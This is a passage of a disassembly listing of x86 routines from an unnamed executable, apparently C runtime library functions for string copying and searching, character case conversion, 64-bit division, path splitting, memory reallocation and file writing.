sub_418DE0+93j mov dl, [esi] inc esi test dl, dl jz short loc_418E9A mov [edi], dl inc edi dec ecx jz short loc_418E90 test esi, 3 jnz short loc_418E60 mov ebx, ecx shr ecx, 2 jnz short loc_418EAC loc_418E7C: ; CODE XREF: sub_418DE0+7Ej ; sub_418DE0+CAj mov ecx, ebx and ecx, 3 jz short loc_418E90 loc_418E83: ; CODE XREF: sub_418DE0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_418E92 dec ecx jnz short loc_418E83 loc_418E90: ; CODE XREF: sub_418DE0+8Bj ; sub_418DE0+A1j mov [edi], cl loc_418E92: ; CODE XREF: sub_418DE0+ABj pop ebx pop esi loc_418E94: ; CODE XREF: sub_418DE0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_418E9A: ; CODE XREF: sub_418DE0+85j ; sub_418DE0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_418EA4: ; CODE XREF: sub_418DE0+E4j ; sub_418DE0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_418E7C loc_418EAC: ; CODE XREF: sub_418DE0+7Cj ; sub_418DE0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_418EA4 test dl, dl jz short loc_418E9A test dh, dh jz short loc_418EF8 test edx, 0FF0000h jz short loc_418EE8 test edx, 0FF000000h jnz short loc_418EA4 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_418EE8: ; CODE XREF: sub_418DE0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_418EF8: ; CODE XREF: sub_418DE0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_418DE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418F10 proc near ; CODE XREF: sub_407252+2A2p ; sub_40EE72+31DDp ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_418F31 xor eax, eax jmp short loc_418F33 ; --------------------------------------------------------------------------- loc_418F31: ; CODE XREF: sub_418F10+1Bj mov eax, edi loc_418F33: ; CODE XREF: sub_418F10+1Fj cld pop edi leave retn sub_418F10 endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_418F50 loc_418F40: ; CODE XREF: sub_418F50+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_418F50 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418F50 proc near ; CODE XREF: sub_408C26+DBp ; sub_40DAF0+32p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 00418F40 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_418F56: ; CODE XREF: sub_417880+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_418F7B loc_418F68: ; CODE XREF: sub_418F50+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_418F40 test cl, cl jz short loc_418FC4 test edx, 3 jnz short loc_418F68 loc_418F7B: ; CODE XREF: sub_418F50+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_418F86: ; CODE XREF: sub_418F50+61j ; sub_418F50+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_418FC8 and eax, 81010100h jz short loc_418F86 and eax, 1010100h jnz short loc_418FC2 and esi, 80000000h jnz short loc_418F86 loc_418FC2: ; CODE XREF: sub_418F50+68j ; sub_418F50+81j ... pop esi pop edi loc_418FC4: ; CODE XREF: sub_418F50+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_418FC8: ; CODE XREF: sub_418F50+5Aj mov eax, [edx-4] cmp al, bl jz short loc_419005 test al, al jz short loc_418FC2 cmp ah, bl jz short loc_418FFE test ah, ah jz short loc_418FC2 shr eax, 10h cmp al, bl jz short loc_418FF7 test al, al jz short loc_418FC2 cmp ah, bl jz short loc_418FF0 test ah, ah jz short loc_418FC2 jmp short loc_418F86 ; --------------------------------------------------------------------------- loc_418FF0: ; CODE XREF: sub_418F50+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_418FF7: ; CODE XREF: sub_418F50+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_418FFE: ; CODE XREF: sub_418F50+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_419005: ; CODE XREF: sub_418F50+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_418F50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41900C proc near ; CODE XREF: sub_408C26+AFp ; sub_40EE72+47F4p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_419020 xor eax, eax jmp short loc_419056 ; --------------------------------------------------------------------------- loc_419020: ; CODE XREF: sub_41900C+Ej dec [ebp+arg_4] push esi jz short loc_419050 mov esi, [ebp+arg_8] loc_419029: ; CODE XREF: sub_41900C+42j dec dword ptr [esi+4] js short loc_419038 mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41903F ; --------------------------------------------------------------------------- loc_419038: ; CODE XREF: sub_41900C+20j push esi call sub_41E248 pop ecx loc_41903F: ; CODE XREF: sub_41900C+2Aj cmp eax, 0FFFFFFFFh jz short loc_41905A mov [edi], al inc edi cmp al, 0Ah jz short loc_419050 dec [ebp+arg_4] jnz short loc_419029 loc_419050: ; CODE XREF: sub_41900C+18j ; sub_41900C+3Dj ... and byte ptr [edi], 0 loc_419053: ; CODE XREF: sub_41900C+55j mov eax, ebx pop esi loc_419056: ; CODE XREF: sub_41900C+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41905A: ; CODE XREF: sub_41900C+36j cmp edi, [ebp+arg_0] jnz short loc_419050 xor ebx, ebx jmp short loc_419053 sub_41900C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419063 proc near ; CODE XREF: sub_409209+BFp ; sub_409209+12Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_48A0A8 push ebx xor ebx, ebx cmp eax, ebx mov [ebp+var_4], ebx jnz short loc_419097 mov eax, [ebp+arg_0] mov edx, eax cmp [eax], bl jz short loc_4190FE loc_41907F: ; CODE XREF: sub_419063+30j mov cl, [edx] cmp cl, 61h jl short loc_419090 cmp cl, 7Ah jg short loc_419090 sub cl, 20h mov [edx], cl loc_419090: ; CODE XREF: sub_419063+21j ; sub_419063+26j inc edx cmp [edx], bl jnz short loc_41907F jmp short loc_4190FE ; --------------------------------------------------------------------------- loc_419097: ; CODE XREF: sub_419063+11j push esi push edi push 1 push ebx push ebx push ebx push 0FFFFFFFFh mov esi, 200h push [ebp+arg_0] push esi push eax call sub_41E709 mov edi, eax add esp, 20h cmp edi, ebx jz short loc_4190F0 push edi call sub_417B89 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_4190F0 push 1 push ebx push edi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push dword_48A0A8 call sub_41E709 add esp, 20h test eax, eax jz short loc_4190F0 push [ebp+var_4] push [ebp+arg_0] call sub_4179C0 pop ecx pop ecx loc_4190F0: ; CODE XREF: sub_419063+53j ; sub_419063+61j ... push [ebp+var_4] call sub_417C3B mov eax, [ebp+arg_0] pop ecx pop edi pop esi loc_4190FE: ; CODE XREF: sub_419063+1Aj ; sub_419063+32j pop ebx leave retn sub_419063 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419101 proc near ; CODE XREF: sub_40A951+6p ; sub_40A96F+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_48A0A8, 0 push ebx push esi push edi jnz short loc_41912E mov eax, [ebp+arg_0] cmp eax, 41h jl loc_4191C7 cmp eax, 5Ah jg loc_4191C7 add eax, 20h jmp loc_4191C7 ; --------------------------------------------------------------------------- loc_41912E: ; CODE XREF: sub_419101+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_419162 cmp dword_4397AC, esi jle short loc_419150 push esi push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41915A ; --------------------------------------------------------------------------- loc_419150: ; CODE XREF: sub_419101+42j mov eax, off_4395A0 mov al, [eax+ebx*2] and eax, esi loc_41915A: ; CODE XREF: sub_419101+4Dj test eax, eax jnz short loc_419162 loc_41915E: ; CODE XREF: sub_419101+ADj mov eax, ebx jmp short loc_4191C7 ; --------------------------------------------------------------------------- loc_419162: ; CODE XREF: sub_419101+3Aj ; sub_419101+5Bj mov edx, off_4395A0 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_419186 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_41918F ; --------------------------------------------------------------------------- loc_419186: ; CODE XREF: sub_419101+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_41918F: ; CODE XREF: sub_419101+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_48A0A8 call sub_41E709 add esp, 20h test eax, eax jz short loc_41915E cmp eax, esi jnz short loc_4191BA movzx eax, [ebp+var_4] jmp short loc_4191C7 ; --------------------------------------------------------------------------- loc_4191BA: ; CODE XREF: sub_419101+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_4191C7: ; CODE XREF: sub_419101+16j ; sub_419101+1Fj ... pop edi pop esi pop ebx leave retn sub_419101 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4191D0 proc near ; CODE XREF: sub_40B822+3Dp ; sub_40D01A+2Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_4191F1 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_419241 ; --------------------------------------------------------------------------- loc_4191F1: ; CODE XREF: sub_4191D0+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_4191FF: ; CODE XREF: sub_4191D0+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_4191FF div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41922A cmp edx, [esp+4+arg_4] ja short loc_41922A jb short loc_419232 cmp eax, [esp+4+arg_0] jbe short loc_419232 loc_41922A: ; CODE XREF: sub_4191D0+4Aj ; sub_4191D0+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_419232: ; CODE XREF: sub_4191D0+52j ; sub_4191D0+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_419241: ; CODE XREF: sub_4191D0+1Fj pop ebx retn 10h sub_4191D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_419250 proc near ; CODE XREF: sub_40B822+24p ; sub_40D01A+3Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_419272 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_4192B3 ; --------------------------------------------------------------------------- loc_419272: ; CODE XREF: sub_419250+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_419280: ; CODE XREF: sub_419250+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_419280 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_4192AE cmp edx, [esp+8+arg_4] ja short loc_4192AE jb short loc_4192AF cmp eax, [esp+8+arg_0] jbe short loc_4192AF loc_4192AE: ; CODE XREF: sub_419250+4Ej ; sub_419250+54j dec esi loc_4192AF: ; CODE XREF: sub_419250+56j ; sub_419250+5Cj xor edx, edx mov eax, esi loc_4192B3: ; CODE XREF: sub_419250+20j pop esi pop ebx retn 10h sub_419250 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4192B8 proc near ; CODE XREF: sub_40B8D8+1E3p ; ___:0040E7A0p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_417AB0 cmp eax, 1 pop ecx jb short loc_4192F3 cmp byte ptr [ebx+1], 3Ah jnz short loc_4192F3 mov esi, [ebp+arg_4] test esi, esi jz short loc_4192EF push 2 push ebx push esi call sub_41ED0D add esp, 0Ch and byte ptr [esi+2], 0 loc_4192EF: ; CODE XREF: sub_4192B8+25j inc ebx inc ebx jmp short loc_4192FD ; --------------------------------------------------------------------------- loc_4192F3: ; CODE XREF: sub_4192B8+18j ; sub_4192B8+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_4192FD and byte ptr [eax], 0 loc_4192FD: ; CODE XREF: sub_4192B8+39j ; sub_4192B8+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_419375 loc_419310: ; CODE XREF: sub_4192B8+87j mov cl, [eax] movzx edx, cl test byte_48B561[edx], 4 jz short loc_419321 inc eax jmp short loc_41933B ; --------------------------------------------------------------------------- loc_419321: ; CODE XREF: sub_4192B8+64j cmp cl, 2Fh jz short loc_419335 cmp cl, 5Ch jz short loc_419335 cmp cl, 2Eh jnz short loc_41933B mov [ebp+var_4], eax jmp short loc_41933B ; --------------------------------------------------------------------------- loc_419335: ; CODE XREF: sub_4192B8+6Cj ; sub_4192B8+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41933B: ; CODE XREF: sub_4192B8+67j ; sub_4192B8+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_419310 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_419375 cmp [ebp+arg_8], 0 jz short loc_419370 sub edi, ebx cmp edi, esi jb short loc_419359 mov edi, esi loc_419359: ; CODE XREF: sub_4192B8+9Dj push edi push ebx push [ebp+arg_8] call sub_41ED0D mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_419370: ; CODE XREF: sub_4192B8+97j mov ebx, [ebp+arg_4] jmp short loc_41937F ; --------------------------------------------------------------------------- loc_419375: ; CODE XREF: sub_4192B8+56j ; sub_4192B8+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41937F and byte ptr [ecx], 0 loc_41937F: ; CODE XREF: sub_4192B8+BBj ; sub_4192B8+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_4193D2 cmp edi, ebx jb short loc_4193D2 cmp [ebp+arg_C], 0 jz short loc_4193AF sub edi, ebx cmp edi, esi jb short loc_419398 mov edi, esi loc_419398: ; CODE XREF: sub_4192B8+DCj push edi push ebx push [ebp+arg_C] call sub_41ED0D mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_4193AF: ; CODE XREF: sub_4192B8+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_4193FA sub eax, [ebp+var_4] cmp eax, esi jnb short loc_4193BF mov esi, eax loc_4193BF: ; CODE XREF: sub_4192B8+103j push esi push [ebp+var_4] push edi call sub_41ED0D add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_4193FA ; --------------------------------------------------------------------------- loc_4193D2: ; CODE XREF: sub_4192B8+CCj ; sub_4192B8+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_4193F0 sub eax, ebx cmp eax, esi jnb short loc_4193E1 mov esi, eax loc_4193E1: ; CODE XREF: sub_4192B8+125j push esi push ebx push edi call sub_41ED0D add esp, 0Ch and byte ptr [esi+edi], 0 loc_4193F0: ; CODE XREF: sub_4192B8+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_4193FA and byte ptr [eax], 0 loc_4193FA: ; CODE XREF: sub_4192B8+FCj ; sub_4192B8+118j ... pop edi pop esi pop ebx leave retn sub_4192B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4193FF proc near ; CODE XREF: sub_40BFE1+19p ; sub_40D633+1Cp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_419E38 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41943D mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41944A ; --------------------------------------------------------------------------- loc_41943D: ; CODE XREF: sub_4193FF+34j lea eax, [ebp+var_20] push eax push 0 call sub_419D23 pop ecx pop ecx loc_41944A: ; CODE XREF: sub_4193FF+3Cj mov eax, esi pop esi leave retn sub_4193FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41944F proc near ; CODE XREF: sub_40C259+2Ep ; sub_418603+35p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 push ebx push esi push edi jnz short loc_41946A push [ebp+arg_4] call sub_417B89 pop ecx jmp loc_4196EA ; --------------------------------------------------------------------------- loc_41946A: ; CODE XREF: sub_41944F+Bj mov esi, [ebp+arg_4] test esi, esi jnz short loc_41947F push [ebp+arg_0] call sub_417C3B pop ecx jmp loc_4196E8 ; --------------------------------------------------------------------------- loc_41947F: ; CODE XREF: sub_41944F+20j mov eax, dword_48B688 cmp eax, 3 jnz loc_41958F loc_41948D: ; CODE XREF: sub_41944F+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41956B push [ebp+arg_0] call sub_41AD89 mov ebx, eax pop ecx test ebx, ebx jz loc_419546 cmp esi, dword_48B680 ja short loc_4194FF mov edi, [ebp+arg_0] push esi push edi push ebx call sub_41B592 add esp, 0Ch test eax, eax jnz short loc_4194FB push esi call sub_41B0DD mov edi, eax pop ecx test edi, edi jz short loc_4194FF mov ebx, [ebp+arg_0] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_4194DF mov eax, esi loc_4194DF: ; CODE XREF: sub_41944F+8Cj push eax push ebx push edi call sub_417390 push ebx call sub_41AD89 push [ebp+arg_0] mov ebx, eax push ebx call sub_41ADB4 add esp, 18h loc_4194FB: ; CODE XREF: sub_41944F+74j test edi, edi jnz short loc_419542 loc_4194FF: ; CODE XREF: sub_41944F+62j ; sub_41944F+81j test esi, esi jnz short loc_419506 push 1 pop esi loc_419506: ; CODE XREF: sub_41944F+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_48B684 nop call near ptr 26F0000h mov edi, eax test edi, edi jz short loc_419542 mov ecx, [ebp+arg_0] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_41952E mov eax, esi loc_41952E: ; CODE XREF: sub_41944F+DBj push eax push ecx push edi call sub_417390 push [ebp+arg_0] push ebx call sub_41ADB4 add esp, 14h loc_419542: ; CODE XREF: sub_41944F+AEj ; sub_41944F+D0j test ebx, ebx jnz short loc_419567 loc_419546: ; CODE XREF: sub_41944F+56j test esi, esi jnz short loc_41954D push 1 pop esi loc_41954D: ; CODE XREF: sub_41944F+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_48B684 nop call near ptr 2800000h mov edi, eax loc_419567: ; CODE XREF: sub_41944F+F5j test edi, edi jnz short loc_419588 loc_41956B: ; CODE XREF: sub_41944F+43j cmp dword_48A074, 0 jz short loc_419588 push esi call sub_41AB54 test eax, eax pop ecx jnz loc_41948D jmp loc_4196E8 ; --------------------------------------------------------------------------- loc_419588: ; CODE XREF: sub_41944F+11Aj ; sub_41944F+123j ... mov eax, edi jmp loc_4196EA ; --------------------------------------------------------------------------- loc_41958F: ; CODE XREF: sub_41944F+38j cmp eax, 2 jnz loc_4196AA cmp esi, 0FFFFFFE0h ja short loc_4195AC test esi, esi jbe short loc_4195A9 add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_4195AC ; --------------------------------------------------------------------------- loc_4195A9: ; CODE XREF: sub_41944F+150j push 10h pop esi loc_4195AC: ; CODE XREF: sub_41944F+14Cj ; sub_41944F+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41968C lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_41BAE4 mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_419670 cmp esi, dword_43B7E4 jnb short loc_419634 mov edi, esi shr edi, 4 push edi push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41BEAC add esp, 10h test eax, eax jz short loc_4195FA mov edi, [ebp+arg_0] jmp short loc_41962C ; --------------------------------------------------------------------------- loc_4195FA: ; CODE XREF: sub_41944F+1A4j push edi call sub_41BB80 mov edi, eax pop ecx test edi, edi jz short loc_419634 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_419613 mov eax, esi loc_419613: ; CODE XREF: sub_41944F+1C0j push eax push [ebp+arg_0] push edi call sub_417390 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41BB3B add esp, 18h loc_41962C: ; CODE XREF: sub_41944F+1A9j test edi, edi jnz loc_419588 loc_419634: ; CODE XREF: sub_41944F+18Bj ; sub_41944F+1B6j push esi push 0 push dword_48B684 call near ptr 26F0000h nop mov edi, eax test edi, edi jz short loc_41968C movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_419655 mov eax, esi loc_419655: ; CODE XREF: sub_41944F+202j push eax push [ebp+arg_0] push edi call sub_417390 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41BB3B add esp, 18h jmp short loc_419684 ; --------------------------------------------------------------------------- loc_419670: ; CODE XREF: sub_41944F+17Fj push esi push [ebp+arg_0] push 0 push dword_48B684 nop call near ptr 2800000h mov edi, eax loc_419684: ; CODE XREF: sub_41944F+21Fj test edi, edi jnz loc_419588 loc_41968C: ; CODE XREF: sub_41944F+162j ; sub_41944F+1F8j cmp dword_48A074, 0 jz loc_419588 push esi call sub_41AB54 test eax, eax pop ecx jnz loc_4195AC jmp short loc_4196E8 ; --------------------------------------------------------------------------- loc_4196AA: ; CODE XREF: sub_41944F+143j ; sub_41944F+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_4196D4 test esi, esi jnz short loc_4196B8 push 1 pop esi loc_4196B8: ; CODE XREF: sub_41944F+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_48B684 nop call near ptr 2800000h test eax, eax jnz short loc_4196EA loc_4196D4: ; CODE XREF: sub_41944F+260j cmp dword_48A074, 0 jz short loc_4196EA push esi call sub_41AB54 test eax, eax pop ecx jnz short loc_4196AA loc_4196E8: ; CODE XREF: sub_41944F+2Bj ; sub_41944F+134j ... xor eax, eax loc_4196EA: ; CODE XREF: sub_41944F+16j ; sub_41944F+13Bj ... pop edi pop esi pop ebx leave retn sub_41944F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4196EF proc near ; CODE XREF: sub_40C8B4+127p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_419713 xor eax, eax jmp loc_4197E0 ; --------------------------------------------------------------------------- loc_419713: ; CODE XREF: sub_4196EF+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_419726 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41972D ; --------------------------------------------------------------------------- loc_419726: ; CODE XREF: sub_4196EF+2Dj mov [ebp+arg_C], 1000h loc_41972D: ; CODE XREF: sub_4196EF+35j ; sub_4196EF+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_419761 mov eax, [esi+4] test eax, eax jz short loc_419761 cmp ebx, eax mov edi, ebx jb short loc_419747 mov edi, eax loc_419747: ; CODE XREF: sub_4196EF+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_417390 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_4197A7 ; --------------------------------------------------------------------------- loc_419761: ; CODE XREF: sub_4196EF+47j ; sub_4196EF+4Ej cmp ebx, [ebp+arg_C] jb short loc_4197AC test ecx, ecx jz short loc_419775 push esi call sub_41A7D0 test eax, eax pop ecx jnz short loc_4197EE loc_419775: ; CODE XREF: sub_4196EF+79j cmp [ebp+arg_C], 0 jz short loc_419788 mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41978A ; --------------------------------------------------------------------------- loc_419788: ; CODE XREF: sub_4196EF+8Aj mov edi, ebx loc_41978A: ; CODE XREF: sub_4196EF+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_41ED97 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_4197E5 add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_4197E5 loc_4197A7: ; CODE XREF: sub_4196EF+70j mov edi, [ebp+var_4] jmp short loc_4197D5 ; --------------------------------------------------------------------------- loc_4197AC: ; CODE XREF: sub_4196EF+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_419D23 pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_4197EE inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_4197D5 mov [ebp+arg_C], 1 loc_4197D5: ; CODE XREF: sub_4196EF+BBj ; sub_4196EF+DDj test ebx, ebx jnz loc_41972D mov eax, [ebp+arg_8] loc_4197E0: ; CODE XREF: sub_4196EF+1Fj ; sub_4196EF+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4197E5: ; CODE XREF: sub_4196EF+ADj ; sub_4196EF+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_4197F0 ; --------------------------------------------------------------------------- loc_4197EE: ; CODE XREF: sub_4196EF+84j ; sub_4196EF+CFj mov eax, edi loc_4197F0: ; CODE XREF: sub_4196EF+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_4197E0 sub_4196EF endp ; =============== S U B R O U T I N E ======================================= sub_4197F9 proc near ; CODE XREF: sub_40D000+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] nop call near ptr 26702C6h cmp eax, 0FFFFFFFFh jnz short loc_419819 nop call near ptr 2630B7Ah push eax call sub_41EF44 pop ecx loc_419815: ; CODE XREF: sub_4197F9+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_419819: ; CODE XREF: sub_4197F9+Dj test al, 1 jz short loc_41983A test [esp+arg_4], 2 jz short loc_41983A mov dword_48A014, 0Dh mov dword_48A018, 5 jmp short loc_419815 ; --------------------------------------------------------------------------- loc_41983A: ; CODE XREF: sub_4197F9+22j ; sub_4197F9+29j xor eax, eax retn sub_4197F9 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_419840 proc near ; CODE XREF: sub_40D12A+5Fp ; sub_40D12A+92p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 